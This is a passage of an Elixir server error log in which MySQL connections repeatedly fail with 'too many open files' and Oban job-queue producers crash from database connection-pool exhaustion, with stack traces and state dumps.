    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "mailers"}}}}, meta: %{name: Oban, node: "demo", queue: "mailers", started_at: ~U[2026-09-05 22:50:38.243112Z], limit: 20, uuid: "68046d3a-906d-405c-9cca-ef217048c8e4", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 22:50:38.243117Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "mailers"}}}}, dispatch_timer: #Reference<0.2525715032.1068236804.238130>, refresh_timer: #Reference<0.2525715032.1121189889.96511>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 22:50:50.516000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.584.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 22:50:51.835000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.585.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 22:50:52.400000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.592.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 22:50:53.793000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.593.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 22:50:55.398000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.588.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 22:50:56.600000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.586.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 22:50:57.959000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.587.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 22:51:01.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "mailers"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 805ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "mailers"}}}}, meta: %{name: Oban, node: "demo", queue: "mailers", started_at: ~U[2026-09-05 22:50:50.241039Z], limit: 20, uuid: "27e32477-3870-45f5-93cd-b606c203d898", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 22:50:50.241044Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "mailers"}}}}, dispatch_timer: #Reference<0.2525715032.1099169794.246432>, refresh_timer: #Reference<0.2525715032.1099169794.246410>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 22:51:01.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "default"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1073ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "default"}}}}, meta: %{name: Oban, node: "demo", queue: "default", started_at: ~U[2026-09-05 22:50:50.240255Z], limit: 10, uuid: "b193aff9-1eff-4da4-81b3-ddd0212a2b3c", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 22:50:50.240261Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "default"}}}}, dispatch_timer: #Reference<0.2525715032.1099169794.246433>, refresh_timer: #Reference<0.2525715032.1099169794.246399>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 22:51:01.238000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "webhooks"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 855ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "webhooks"}}}}, meta: %{name: Oban, node: "demo", queue: "webhooks", started_at: ~U[2026-09-05 22:50:50.240376Z], limit: 5, uuid: "0e1f895e-05b8-4090-ac67-8922a12d6f84", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 22:50:50.240381Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "webhooks"}}}}, dispatch_timer: #Reference<0.2525715032.1068236804.238360>, refresh_timer: #Reference<0.2525715032.1099169794.246404>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 22:51:01.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "reports"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1053ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "reports"}}}}, meta: %{name: Oban, node: "demo", queue: "reports", started_at: ~U[2026-09-05 22:50:50.240438Z], limit: 3, uuid: "2743245d-68c1-40b0-ab0a-56194b4d9ffa", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 22:50:50.240630Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "reports"}}}}, dispatch_timer: #Reference<0.2525715032.1068236804.238359>, refresh_timer: #Reference<0.2525715032.1121189889.96684>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 22:51:01.235000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "low"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1059ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "low"}}}}, meta: %{name: Oban, node: "demo", queue: "low", started_at: ~U[2026-09-05 22:50:50.237845Z], limit: 5, uuid: "bcf77046-a14d-43f2-bd29-0d6d498b9a8a", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 22:50:50.237853Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "low"}}}}, dispatch_timer: #Reference<0.2525715032.1068236804.238357>, refresh_timer: #Reference<0.2525715032.1121189889.96666>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 22:51:01.237000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "high"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 892ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "high"}}}}, meta: %{name: Oban, node: "demo", queue: "high", started_at: ~U[2026-09-05 22:50:50.240059Z], limit: 50, uuid: "b3198623-7ac5-401b-8630-1dda7f470070", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 22:50:50.240064Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "high"}}}}, dispatch_timer: #Reference<0.2525715032.1068236804.238358>, refresh_timer: #Reference<0.2525715032.1121189889.96667>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 22:51:05.058000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.585.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 22:51:05.904000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.584.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 22:51:07.056000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.588.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 22:51:08.007000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.589.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 22:51:08.556000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.590.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 22:51:11.140000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.591.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 22:51:13.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "default"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 880ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "default"}}}}, meta: %{name: Oban, node: "demo", queue: "default", started_at: ~U[2026-09-05 22:51:01.240775Z], limit: 10, uuid: "37e142d6-e576-427a-bf65-ed6bd85aa2b1", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 22:51:01.240781Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "default"}}}}, dispatch_timer: #Reference<0.2525715032.1121189889.96810>, refresh_timer: #Reference<0.2525715032.1121189889.96800>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 22:51:13.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "high"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 885ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "high"}}}}, meta: %{name: Oban, node: "demo", queue: "high", started_at: ~U[2026-09-05 22:51:01.244746Z], limit: 50, uuid: "66be4dc6-ec04-4b34-bf87-0716f284071f", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 22:51:01.244752Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "high"}}}}, dispatch_timer: 